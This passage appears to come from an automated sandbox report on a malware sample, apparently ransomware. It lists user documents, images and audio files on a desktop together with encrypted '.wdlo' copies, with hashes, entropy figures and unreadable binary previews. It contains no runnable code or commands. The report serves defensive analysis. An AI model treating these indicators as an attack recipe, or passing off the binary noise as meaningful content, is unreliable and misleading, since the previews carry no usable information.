b%6...L..Yh.j.....D(.[.]I.r..J...d...i...h.0.+.E..!.x....\|.gz%.n......R.3,1.4#;......e.YNa_$..U...&..@.[.....P.............}XQ.~~o.....>6.1d'....*.k.....:...].F......Q ........7x..M.\}...j.T...U..1...gmfb..CW.x...P....I..\|..<../.}J...

C:\Users\user\Desktop\UMMBDNEQBN\KZWFNRXYKI.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854060633381615
Encrypted:	false
SSDEEP:	24:c3zm1YYpxqOAWt8iIN1ogPTLmn6GI2Ke3MYdVOydaFGBS8CJjyxKZ1I3zbD:yECOrt8xosLS6Hre8YDLdaFb84wM1I3D
MD5:	90D8BE6BB96FE820C8E2CDE2C5F8C92E
SHA1:	3FA0EDDAB6C79F7DA02CC5CB2D35438D024199CC
SHA-256:	A0B1CCED1DF4E63677B08618506D18AFB0EAAF7D74D61F2A45ABC351D3CE1F7A
SHA-512:	9E2CCB5708D7EB992C58B0890271480616457A4CE7261A7075EE8EEFECFE789C964F2D22005553C5B2AD046918F3611293378EBFDC9B518175E9421C66E8D037
Malicious:	false
Preview:	KZWFN...............Q.......7+........N.A>..t....,.iAa.._.<.U.\|y...<..$.Ku.Co....4x...(.a.T....._..He.N....{.z./g....yKl......J..h2...[!..D.....WC.N[P..g..k.f.J.r ..g.A[.;.........!.....Ej....<..E"3..v.,.{..$....)e..o?..7......L.r.?.e....l).R.71-..`.`.J~.R0..Ng..z;i ..n{.[x..;.O..R...G%.\,8Ku.cWC.G+Yz<...9u..wi....!...f.duigD.c.&..C.....Q ...@...Q...@.W.Hz..?Z...r....p......y.`.3...^:......:?/,.X.....d..].........N?.%rQ.....Y~?YXHq...8fw.B..OJ..n.gr......hX...........I......d.$..h.....5......&N..`y.....lQ&......Gl#:.....I.#Q.0.....7.o.u.....u}v.......'w6....2R......yb.TI...{`.l.]....?.......`!?..=...~>pk.MWm.AH.!h.....^3o8...D.W~.~...........&.Mt._.e..}...u...r%^...?.....!WH..I{P....CGR9..-....{.Q. b%6...L..Yh.j.....D(.[.]I.r..J...d...i...h.0.+.E..!.x....\|.gz%.n......R.3,1.4#;......e.YNa_$..U...&..@.[.....P.............}XQ.~~o.....>6.1d'....*.k.....:...].F......Q ........7x..M.\}...j.T...U..1...gmfb..CW.x...P....I..\|..<../.}J...

C:\Users\user\Desktop\UMMBDNEQBN\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823183861414812
Encrypted:	false
SSDEEP:	24:bw683UgWR6/cYFNbTGQ3nRxFb8xdg/ahQ6Yflx9D9b1iP2Z2nAMVWpGI3zbD:E68kggvAnJbD/ahUl3pbmk2BApGI3nD
MD5:	D011CEFB8223EDE7E3C177F29BCF02E0
SHA1:	9ED3156B7D650A4DF0D83D858C91314D7463D168
SHA-256:	5A4A6DB60385D282A29B4E917CD3FB6CC969276E388434FD2B8F8443EEAC47C3
SHA-512:	89A07F444D99393B40F2F812BD605624E4739965E2000E0A981B5F805EE52B05862E0B32C786E92E74A04B66A5DBB755663B061170A9B0814D9CC07DFA81930E
Malicious:	false
Preview:	LTKMY.D..1Ih....F...;..&..V..tM..X.w..T..9N...a..'9.......-.}..22....TuA.%..D~hk..<Uk...El\..B..T,.+I=E.{.`B....b.-.#/...`....E..Pd.Rv.<y).\.k....Ru`......].#.zf...S.EJ)@....3#...pi.....\|.w.D..0..].....e.X....j.6...y>.S..l...]....9./)&3.....{.t..nq.K...%.....xa"=,..b..[....&9.VC.{.7.....q=..I]..9.\......uP...]...S3C.0l.....O}e..P...j..a...?.Q..^k@.'2.J.c).m.D.hy..7..^Bj..p.....BA.(TL...kH-.h..2...a........8.3..P.......G....0.O.\....=...t-..p.......q]..N..RY3(.Yx....(.....[.[@....3....u.'.)...i`...,3.Z..9,\A9...;v7.Y.......8K....sO_Q3#.V.(...:.....w.)!}.@.H...U.m...7b.^~E...v....Sgh..\|...... .j.=.GJgsR...c.?.r.!.n...{.f....o&...R<.~.xk#....[#t.gOR....)...rJ..e.......bRc]..a...D.........).-e.K^.Q:I7O.0..{y$.:.j......'K.gr.......D....x..G...%....<6.~.R.b.O.........6.......t..)....f...8.24x.+J..3.U..m....F...V.P.V...ZY...U.2zM.R.Q....A..w...4%....9J)Vh6...(f..w..q...+....-..I...4.......].......x..&.B...A#.,o.f.._.....G.}.B.?....Gv.

C:\Users\user\Desktop\UMMBDNEQBN\LTKMYBSEYZ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823183861414812
Encrypted:	false
SSDEEP:	24:bw683UgWR6/cYFNbTGQ3nRxFb8xdg/ahQ6Yflx9D9b1iP2Z2nAMVWpGI3zbD:E68kggvAnJbD/ahUl3pbmk2BApGI3nD
MD5:	D011CEFB8223EDE7E3C177F29BCF02E0
SHA1:	9ED3156B7D650A4DF0D83D858C91314D7463D168
SHA-256:	5A4A6DB60385D282A29B4E917CD3FB6CC969276E388434FD2B8F8443EEAC47C3
SHA-512:	89A07F444D99393B40F2F812BD605624E4739965E2000E0A981B5F805EE52B05862E0B32C786E92E74A04B66A5DBB755663B061170A9B0814D9CC07DFA81930E
Malicious:	false
Preview:	LTKMY.D..1Ih....F...;..&..V..tM..X.w..T..9N...a..'9.......-.}..22....TuA.%..D~hk..<Uk...El\..B..T,.+I=E.{.`B....b.-.#/...`....E..Pd.Rv.<y).\.k....Ru`......].#.zf...S.EJ)@....3#...pi.....\|.w.D..0..].....e.X....j.6...y>.S..l...]....9./)&3.....{.t..nq.K...%.....xa"=,..b..[....&9.VC.{.7.....q=..I]..9.\......uP...]...S3C.0l.....O}e..P...j..a...?.Q..^k@.'2.J.c).m.D.hy..7..^Bj..p.....BA.(TL...kH-.h..2...a........8.3..P.......G....0.O.\....=...t-..p.......q]..N..RY3(.Yx....(.....[.[@....3....u.'.)...i`...,3.Z..9,\A9...;v7.Y.......8K....sO_Q3#.V.(...:.....w.)!}.@.H...U.m...7b.^~E...v....Sgh..\|...... .j.=.GJgsR...c.?.r.!.n...{.f....o&...R<.~.xk#....[#t.gOR....)...rJ..e.......bRc]..a...D.........).-e.K^.Q:I7O.0..{y$.:.j......'K.gr.......D....x..G...%....<6.~.R.b.O.........6.......t..)....f...8.24x.+J..3.U..m....F...V.P.V...ZY...U.2zM.R.Q....A..w...4%....9J)Vh6...(f..w..q...+....-..I...4.......].......x..&.B...A#.,o.f.._.....G.}.B.?....Gv.

C:\Users\user\Desktop\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83849544252235
Encrypted:	false
SSDEEP:	24:CMHyJ8vVvYcXjIKox05q80Sm8tfkN5I/d2/AzeQyQEu/C5hbowVPzfx3zbD:Y2vYq6G5q09tc0/4IS5QC5hbtFbx3nD
MD5:	926EB38984DADE4D67944A1C4BA4DE7B
SHA1:	EE06CFE781D308A5D4C9F13FEBC89C26BD4C7A3F
SHA-256:	F6B75B5CF2246E37F6432855E42F80C290421C8E217F87858E0E38FB28E060E6
SHA-512:	4927D53A8B8C0B042527FC8978A251137E62929F1692C6C32C9A8E25D73FA0CED6EE323463AA615A8F3BC1265458379864A3AD1CF7D2450589672DC31BC48561
Malicious:	false
Preview:	UMMBDz...I..)....5.+.d#..1..P....#.~~.....=.[E..<.r..@....ZtA...2.Z!../H+.b.:..(.F.\..!..L..C.E%m.F..9^ae..\|...Z.(....,jl....FcTB.)..]?DP''.........pZ>.S.9yG.v.....Z.ax\|_.5.Py....J.e...QE.0Z..C^..3.].....!...$.....l.;..A......4.......3...6T...0pp._.b.o.b..1KyH..../_.~+..o..@...N\|wM..`X..}Z......IqM......+..H.$.&.0suU.j(4;2y."M ..s.T..a..)r^<...b...{. .......]..(U......+.9..R...2:..W.4.Y.t....,....K..$O.L.(}.N..2r).+ox..E,C..K...h..!....8.....,.0..IWU.l%.m.r.i@0Z...CJ5$D\|.%........Ty.....>......Y.z.X.s......er..")%.. .k-\......D...T...;....6...v....{A.\........Y..u6...Fa.a..g\|.$6.I_.........l.....8.....)_?..M.CW..G..@....9..I.k`C..L.../..8^.\|.O... h!:..$.q....~..IG..6m%&..` DLm.n.~/^....4....ku.Lx.\)sc..S..p..W...Q..u..P6...`.p....E..3FS..+6l.{.#.Bd......H...p40...].IvL@....S..O..LU.%...D..[.>..j.`..h......hg.K....c..4..q.s.b.Vr..41..`B.u.\..y.....h..5...@v...?c.vO.<f.4...P.s...9.>......Z.h.-.x'.1.Z?s..w<rnI,...Q.......K.v.....).6

C:\Users\user\Desktop\UMMBDNEQBN\UMMBDNEQBN.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83849544252235
Encrypted:	false
SSDEEP:	24:CMHyJ8vVvYcXjIKox05q80Sm8tfkN5I/d2/AzeQyQEu/C5hbowVPzfx3zbD:Y2vYq6G5q09tc0/4IS5QC5hbtFbx3nD
MD5:	926EB38984DADE4D67944A1C4BA4DE7B
SHA1:	EE06CFE781D308A5D4C9F13FEBC89C26BD4C7A3F
SHA-256:	F6B75B5CF2246E37F6432855E42F80C290421C8E217F87858E0E38FB28E060E6
SHA-512:	4927D53A8B8C0B042527FC8978A251137E62929F1692C6C32C9A8E25D73FA0CED6EE323463AA615A8F3BC1265458379864A3AD1CF7D2450589672DC31BC48561
Malicious:	false
Preview:	UMMBDz...I..)....5.+.d#..1..P....#.~~.....=.[E..<.r..@....ZtA...2.Z!../H+.b.:..(.F.\..!..L..C.E%m.F..9^ae..\|...Z.(....,jl....FcTB.)..]?DP''.........pZ>.S.9yG.v.....Z.ax\|_.5.Py....J.e...QE.0Z..C^..3.].....!...$.....l.;..A......4.......3...6T...0pp._.b.o.b..1KyH..../_.~+..o..@...N\|wM..`X..}Z......IqM......+..H.$.&.0suU.j(4;2y."M ..s.T..a..)r^<...b...{. .......]..(U......+.9..R...2:..W.4.Y.t....,....K..$O.L.(}.N..2r).+ox..E,C..K...h..!....8.....,.0..IWU.l%.m.r.i@0Z...CJ5$D\|.%........Ty.....>......Y.z.X.s......er..")%.. .k-\......D...T...;....6...v....{A.\........Y..u6...Fa.a..g\|.$6.I_.........l.....8.....)_?..M.CW..G..@....9..I.k`C..L.../..8^.\|.O... h!:..$.q....~..IG..6m%&..` DLm.n.~/^....4....ku.Lx.\)sc..S..p..W...Q..u..P6...`.p....E..3FS..+6l.{.#.Bd......H...p40...].IvL@....S..O..LU.%...D..[.>..j.`..h......hg.K....c..4..q.s.b.Vr..41..`B.u.\..y.....h..5...@v...?c.vO.<f.4...P.s...9.>......Z.h.-.x'.1.Z?s..w<rnI,...Q.......K.v.....).6

C:\Users\user\Desktop\UMMBDNEQBN\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856872086272845
Encrypted:	false
SSDEEP:	24:9i6EREJ1H1qSgeKGoMT02KpHaGJOXB9y6i48Fle8OUepsdAa/Qni+QZhYj8Ec3zX:gCVqBecMI2C6i48fJOULAEQiRZKjlc3D
MD5:	B07DF2F5B163BDFB1456E8B8237D9513
SHA1:	96243E959F15B0E8F5D718EF16F05E6B3F929B7C
SHA-256:	761660ED8BCF60E431B9B8792FDE972EC9E2070560B6A29E0D40149C3B159D45
SHA-512:	9778D6B2072D59CD151398B780C99A147034F538858064853E0AD169F0BC2BAD5084212EDE4CA55950A6943C471AC9A46368815EA60D36ACB6DF7141B8184698
Malicious:	false
Preview:	WUTJS.&5'$.Z.......[.y...J....t.......\..S..C..:..z#.q..... ...........{e.9f..@j...y..q.z.........y........hc..Z.N.YSq......f.[~.B..f..r.`.$..qK...l../6...C.X\|..`..jP.^.(.w.{,....s..nJ+...j...+':,J.....R.....iA.....k#..y....ob.1......Z..vE6..I...km.L.G.y......(h.....{..2+...'P.[=..4.........D...Gc....^.$...[Q..'tl..;q?.T[?...I.....!.....A..k.H...#SM....9......_.R;A..b....(.D.?.h...Nxq.e..W./.j~o........\|@...........m...0.....,......^......[n...oj.ij4b......m.....Dq^!......PAlB}......!.4xb\.........1..x...G.....vj...ZK...9&....v0.ne.N...~.t....4..4]TC.U..RU. ...@.,9`.m&.v..omK....a@...3@(.Q....:.&,.V...k.....q.c.>K-.(jT...g.B...1.!..\.Pc.@x@..}..e..7..xi..E.K].2(.Dl.O..n..b.<j.+.....A......?x..4...G.....T...B..8`.q.dn[&..'lo..T5p=.0?.X.."U.X..;F9.+S.d.H....up\|..2.....@...^ DQSn.vE.......\.u .....i.....x...+./.\|...POW.M.<...a".7C8.V.$~P.i..<^(7O....:b.o5e..=...xm..c...7..B.YT>.. .Vp........r.U.....=....:J..[..?_..w..\.....O..).........W...&

C:\Users\user\Desktop\UMMBDNEQBN\WUTJSCBCFX.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856872086272845
Encrypted:	false
SSDEEP:	24:9i6EREJ1H1qSgeKGoMT02KpHaGJOXB9y6i48Fle8OUepsdAa/Qni+QZhYj8Ec3zX:gCVqBecMI2C6i48fJOULAEQiRZKjlc3D
MD5:	B07DF2F5B163BDFB1456E8B8237D9513
SHA1:	96243E959F15B0E8F5D718EF16F05E6B3F929B7C
SHA-256:	761660ED8BCF60E431B9B8792FDE972EC9E2070560B6A29E0D40149C3B159D45
SHA-512:	9778D6B2072D59CD151398B780C99A147034F538858064853E0AD169F0BC2BAD5084212EDE4CA55950A6943C471AC9A46368815EA60D36ACB6DF7141B8184698
Malicious:	false
Preview:	WUTJS.&5'$.Z.......[.y...J....t.......\..S..C..:..z#.q..... ...........{e.9f..@j...y..q.z.........y........hc..Z.N.YSq......f.[~.B..f..r.`.$..qK...l../6...C.X\|..`..jP.^.(.w.{,....s..nJ+...j...+':,J.....R.....iA.....k#..y....ob.1......Z..vE6..I...km.L.G.y......(h.....{..2+...'P.[=..4.........D...Gc....^.$...[Q..'tl..;q?.T[?...I.....!.....A..k.H...#SM....9......_.R;A..b....(.D.?.h...Nxq.e..W./.j~o........\|@...........m...0.....,......^......[n...oj.ij4b......m.....Dq^!......PAlB}......!.4xb\.........1..x...G.....vj...ZK...9&....v0.ne.N...~.t....4..4]TC.U..RU. ...@.,9`.m&.v..omK....a@...3@(.Q....:.&,.V...k.....q.c.>K-.(jT...g.B...1.!..\.Pc.@x@..}..e..7..xi..E.K].2(.Dl.O..n..b.<j.+.....A......?x..4...G.....T...B..8`.q.dn[&..'lo..T5p=.0?.X.."U.X..;F9.+S.d.H....up\|..2.....@...^ DQSn.vE.......\.u .....i.....x...+./.\|...POW.M.<...a".7C8.V.$~P.i..<^(7O....:b.o5e..=...xm..c...7..B.YT>.. .Vp........r.U.....=....:J..[..?_..w..\.....O..).........W...&

C:\Users\user\Desktop\UMMBDNEQBN\ZBEDCJPBEY.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851367610540549
Encrypted:	false
SSDEEP:	24:gePZk2nXMr+pC9XO2/W1JXB4Eh9ul3ea6VlpjlD4rj+dSIAYzA3zbD:gep4xGHB45svxD4rCd86A3nD
MD5:	1C39E5236370184784EE2D121E6C7AED
SHA1:	64A47F83521CDEF3A379F763B26436CFA8FB0C2B
SHA-256:	3E16D97FE2A9B03139DE41A755AA5F7BAEAC93A0793EFD33FC3473EC8C85B9BC
SHA-512:	42A049409B9D88AA67DF03536D353009C9E81E49EA3DF8D35D11293F8DE2A9F621A3301FBD60B22B82557B6F3207A8A9ED6956FF5EEACC40738B5A3A3BBB8AA3
Malicious:	false
Preview:	ZBEDC..f.~.mg...5.+..!......_.O:.....U.x'.1..i(_5..k..=l...?..g....B.......V.<..3...7.rMq.T.{X..5..z..8I.U..\+6.....!...K."8.N+.m..M8:.-.LV=m...s...(4....x..To.\|...S^.....8..i.c.9y..s.Se..F{.JB.aD.0\.f.:7.GU.....-v..Z.o..J...4XU.X.nY.eY;.,.C.+.h.z7....].m<....0x....:.k.....%MW...>,..$.nn.bF....rZ..`...h.....bv`.,..!:.9...3.q#(....J.(.......(.{.x_.P..wY..2.<...'.?T..^...y..5E9\|.r..D77.1..o[6.r,..C-.D....w.N2h#.._b.m.....N...[.dd....._z>...U'."UL..h&.......U./.o.n...Db....c........w(s.w..U......-.e...e........8K.#..............X..CT........[Ys.s......l..h.W!lH.SG.......G....&.....z.'...=4.-.....,....gbr[..:.]..3o6.....SJ..N.-VXG3^...K........s.OG.'.+w..........~XQ.oLQ.@...]...w..._..p..k...5....R.x...%.H.V..?.<.,..j6+..R.)..!S.Xx..T..y...bK...\|.b...Q.5bwA......\|U.c.f..S.:...Z.j.......W.>..6.8.B....gF.~XfO<U-.g..._I.X...D.j..\.N]Y...._..#8.....S`.L.O,.c...gS......Rv6E.d.......x...0.k.n).#yx.1#.....B.n......s[..E...q.H.s..\|$S.h...

C:\Users\user\Desktop\UMMBDNEQBN\ZBEDCJPBEY.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851367610540549
Encrypted:	false
SSDEEP:	24:gePZk2nXMr+pC9XO2/W1JXB4Eh9ul3ea6VlpjlD4rj+dSIAYzA3zbD:gep4xGHB45svxD4rCd86A3nD
MD5:	1C39E5236370184784EE2D121E6C7AED
SHA1:	64A47F83521CDEF3A379F763B26436CFA8FB0C2B
SHA-256:	3E16D97FE2A9B03139DE41A755AA5F7BAEAC93A0793EFD33FC3473EC8C85B9BC
SHA-512:	42A049409B9D88AA67DF03536D353009C9E81E49EA3DF8D35D11293F8DE2A9F621A3301FBD60B22B82557B6F3207A8A9ED6956FF5EEACC40738B5A3A3BBB8AA3
Malicious:	false
Preview:	ZBEDC..f.~.mg...5.+..!......_.O:.....U.x'.1..i(_5..k..=l...?..g....B.......V.<..3...7.rMq.T.{X..5..z..8I.U..\+6.....!...K."8.N+.m..M8:.-.LV=m...s...(4....x..To.\|...S^.....8..i.c.9y..s.Se..F{.JB.aD.0\.f.:7.GU.....-v..Z.o..J...4XU.X.nY.eY;.,.C.+.h.z7....].m<....0x....:.k.....%MW...>,..$.nn.bF....rZ..`...h.....bv`.,..!:.9...3.q#(....J.(.......(.{.x_.P..wY..2.<...'.?T..^...y..5E9\|.r..D77.1..o[6.r,..C-.D....w.N2h#.._b.m.....N...[.dd....._z>...U'."UL..h&.......U./.o.n...Db....c........w(s.w..U......-.e...e........8K.#..............X..CT........[Ys.s......l..h.W!lH.SG.......G....&.....z.'...=4.-.....,....gbr[..:.]..3o6.....SJ..N.-VXG3^...K........s.OG.'.+w..........~XQ.oLQ.@...]...w..._..p..k...5....R.x...%.H.V..?.<.,..j6+..R.)..!S.Xx..T..y...bK...\|.b...Q.5bwA......\|U.c.f..S.:...Z.j.......W.>..6.8.B....gF.~XfO<U-.g..._I.X...D.j..\.N]Y...._..#8.....S`.L.O,.c...gS......Rv6E.d.......x...0.k.n).#yx.1#.....B.n......s[..E...q.H.s..\|$S.h...

C:\Users\user\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837406240678435
Encrypted:	false
SSDEEP:	24:/jX6llaiWKKF5o3QbcNdsaG98s9ltX9c5sHD5Il32ubTKuyrNn5joghfNq3zbD:/IN0uNdTGys9HFKl3Jb94n50Af43nD
MD5:	48A3E5D648AD82BAEEC52ECC0AAF7B0C
SHA1:	AADA80F2C2D9B68405BA7E8898FF1CF196B94520
SHA-256:	B7171FD29DC59582E147EE0CD96855ACD7526CEF1BF32EEDCB4A38467588E6A7
SHA-512:	1D201E2227507F43335F1BC082D7A8A0EF295E128EF3A1ECB1AA719EF95C80548B519028DED123DCA021A574BF9779F078451D8CBFBAD746A418693322B8EF1C
Malicious:	true
Preview:	VLZDG..Y_P.F..v.....)8..G...._.....t...RK.y...h.P........._tG..-._6...r.E.j..._..s....}(.[>y?n.-....z..&....._...YY.8)R9%..q...v....Wt.e..]."C......}.........c."..)T..z.cs..}}.....R.2.Ih.Myed.C.F&y...qD.......S=.4......0H t1.M..M~u8.9..8...R..Xke...jU.H..3v...&4.%Z..&..1..?.....fS...d$.2vn.c..SI.Pj.--.U.....A..C....6.D....X..LK.x...O.w./.+o.i.[.K/.'..;...Bu.ld0...Z.p..%....}.9/..%.....\|.r..../...>.....F...{...0./#R.7S..OA..V!....^...K&...d.ml.i.AY%u.P.#U.A....(_.ZLvB...8.VV.+s......M.9....p..Qj...\m......O.o...1e.l..6.-.y.&.3....$..]...X# ...Z..../.hA....B...-NW+rA7<.....Q..&...7%.....L.N.."D.[8..4#]aHs.....R......9]....0..d..-.P......I/.!...}...@.=.4}.}~.3.Z..xn.z.>L....quR...5..]......05.gxn.pTVK...<De........7.. .\...........cX9.S.......^V%..&P...C[...4.n....!4dN...R..."QD`q2.BW....c.=.S..j.L....]!.n.k.q.....g`qh.~..uX.....[.6........K..6.\|..m?.._tAw......;..c..e.j..........HC=...'.G..9.....n.F...37.p....hw....v.._7&..9..Q..7..H.H$.

C:\Users\user\Desktop\VLZDGUKUTZ.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837406240678435
Encrypted:	false
SSDEEP:	24:/jX6llaiWKKF5o3QbcNdsaG98s9ltX9c5sHD5Il32ubTKuyrNn5joghfNq3zbD:/IN0uNdTGys9HFKl3Jb94n50Af43nD
MD5:	48A3E5D648AD82BAEEC52ECC0AAF7B0C
SHA1:	AADA80F2C2D9B68405BA7E8898FF1CF196B94520
SHA-256:	B7171FD29DC59582E147EE0CD96855ACD7526CEF1BF32EEDCB4A38467588E6A7
SHA-512:	1D201E2227507F43335F1BC082D7A8A0EF295E128EF3A1ECB1AA719EF95C80548B519028DED123DCA021A574BF9779F078451D8CBFBAD746A418693322B8EF1C
Malicious:	false
Preview:	VLZDG..Y_P.F..v.....)8..G...._.....t...RK.y...h.P........._tG..-._6...r.E.j..._..s....}(.[>y?n.-....z..&....._...YY.8)R9%..q...v....Wt.e..]."C......}.........c."..)T..z.cs..}}.....R.2.Ih.Myed.C.F&y...qD.......S=.4......0H t1.M..M~u8.9..8...R..Xke...jU.H..3v...&4.%Z..&..1..?.....fS...d$.2vn.c..SI.Pj.--.U.....A..C....6.D....X..LK.x...O.w./.+o.i.[.K/.'..;...Bu.ld0...Z.p..%....}.9/..%.....\|.r..../...>.....F...{...0./#R.7S..OA..V!....^...K&...d.ml.i.AY%u.P.#U.A....(_.ZLvB...8.VV.+s......M.9....p..Qj...\m......O.o...1e.l..6.-.y.&.3....$..]...X# ...Z..../.hA....B...-NW+rA7<.....Q..&...7%.....L.N.."D.[8..4#]aHs.....R......9]....0..d..-.P......I/.!...}...@.=.4}.}~.3.Z..xn.z.>L....quR...5..]......05.gxn.pTVK...<De........7.. .\...........cX9.S.......^V%..&P...C[...4.n....!4dN...R..."QD`q2.BW....c.=.S..j.L....]!.n.k.q.....g`qh.~..uX.....[.6........K..6.\|..m?.._tAw......;..c..e.j..........HC=...'.G..9.....n.F...37.p....hw....v.._7&..9..Q..7..H.H$.

C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832701906014067
Encrypted:	false
SSDEEP:	24:Ots1AdTQFgV9dfWyTvHVuDujrm35DLhavvFJihkpG+kvb8I3py+X93zbD:hCdBZb/VkuP1C+RkQI5ys3nD
MD5:	83E385B69F60C11893E99DA13B943CF5
SHA1:	8EE06084996EA5836D4D187D67B8063D9B8EC017
SHA-256:	264FF3515A6E406C9C5AA136FD5B36E55DFA152DD4F053744B2C71ACF4CFB595
SHA-512:	E21C75630C5885E5242E19870BD8A20BC796FDB657D46785D319267C480E165B41DDCAD95EC604A011EE9FC52B490BD34C2343DF71C151330A65C6864E1C3216
Malicious:	true
Preview:	DVWHK3B...?yH<r....]..w.J.[...D....4..+...L..+.E...k.Gy.V.:C..7.8.....lH..t.rF....8..D.1@..]....4....d.5T.4..'R...Z......^.....}....M0.3~..Np....F..}qq>... %;x'{Wl...5..$Q.8..ARM...}...F[..".r.....n...V..y.0].`dl..S..7....B.......y...5.l..v[.pV..".[..z..7Y.G..5t..{....c..w.-Y......}.G.qf..b....~..>...7!.7Tk..4....)..X,`Ca.u.....7...r.J;@2mw..R12.m}.~g$..B.j..me.j.S....F/...o.f....@5..q"...2..V.Ih.m.M.j..P.,L.)..u..I.....C.\|..@......P.s.......P ...Y.%.2....E.._=.....7..I.@2..lb..i......LY.x............Jy>.(.ta.#.$...U.w......H\d..fi.1....67-.. (t.W..V.)5..8...{.'....i......E.).".!Z.~W.E..........I..\h\xo..V...<.i...=N.bx.0.M[..35b...7L#.F.d.MOmEm,..U;xR.m...v....K...Ce..Wm.QU6RZtm).Zy.'y..l.... 9.p-hT>.9..[m.bI.1..A.K.$iV.?u....j h...[..U...?.0\|....O.Y.B}..&...,..[g.."....P...C.......U%aO.b............T.7....I>?.....,5.....]?..H...Q.....$..Z.\|!/J........$..d.'g.......U.#..:>i_.../....s..g.v&...Hp...L......=....G.cr.._..P..%..~.?.z..:H

C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832701906014067
Encrypted:	false
SSDEEP:	24:Ots1AdTQFgV9dfWyTvHVuDujrm35DLhavvFJihkpG+kvb8I3py+X93zbD:hCdBZb/VkuP1C+RkQI5ys3nD
MD5:	83E385B69F60C11893E99DA13B943CF5
SHA1:	8EE06084996EA5836D4D187D67B8063D9B8EC017
SHA-256:	264FF3515A6E406C9C5AA136FD5B36E55DFA152DD4F053744B2C71ACF4CFB595
SHA-512:	E21C75630C5885E5242E19870BD8A20BC796FDB657D46785D319267C480E165B41DDCAD95EC604A011EE9FC52B490BD34C2343DF71C151330A65C6864E1C3216
Malicious:	false
Preview:	DVWHK3B...?yH<r....]..w.J.[...D....4..+...L..+.E...k.Gy.V.:C..7.8.....lH..t.rF....8..D.1@..]....4....d.5T.4..'R...Z......^.....}....M0.3~..Np....F..}qq>... %;x'{Wl...5..$Q.8..ARM...}...F[..".r.....n...V..y.0].`dl..S..7....B.......y...5.l..v[.pV..".[..z..7Y.G..5t..{....c..w.-Y......}.G.qf..b....~..>...7!.7Tk..4....)..X,`Ca.u.....7...r.J;@2mw..R12.m}.~g$..B.j..me.j.S....F/...o.f....@5..q"...2..V.Ih.m.M.j..P.,L.)..u..I.....C.\|..@......P.s.......P ...Y.%.2....E.._=.....7..I.@2..lb..i......LY.x............Jy>.(.ta.#.$...U.w......H\d..fi.1....67-.. (t.W..V.)5..8...{.'....i......E.).".!Z.~W.E..........I..\h\xo..V...<.i...=N.bx.0.M[..35b...7L#.F.d.MOmEm,..U;xR.m...v....K...Ce..Wm.QU6RZtm).Zy.'y..l.... 9.p-hT>.9..[m.bI.1..A.K.$iV.?u....j h...[..U...?.0\|....O.Y.B}..&...,..[g.."....P...C.......U%aO.b............T.7....I>?.....,5.....]?..H...Q.....$..Z.\|!/J........$..d.'g.......U.#..:>i_.../....s..g.v&...Hp...L......=....G.cr.._..P..%..~.?.z..:H

C:\Users\user\Desktop\VLZDGUKUTZ\HTAGVDFUIE.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85648634810012
Encrypted:	false
SSDEEP:	24:zXyJWsK/v+Dr75PTzuXPUJsi3EItZLnOdNQ7Okh82PnxJ8wUZD3g1a3zbD:5v+X9PTzuXPUJs98LyE8ilO3gU3nD
MD5:	7C2454BB4C42ADDCA8D97A856B59993B
SHA1:	DB3840A6CAAA274E454C42B21EBB61B66D1A3794
SHA-256:	67EE6FC6E90D0EF7E49FAD16D0691C84469BEC48B879F16337BEA63F3E229EE6
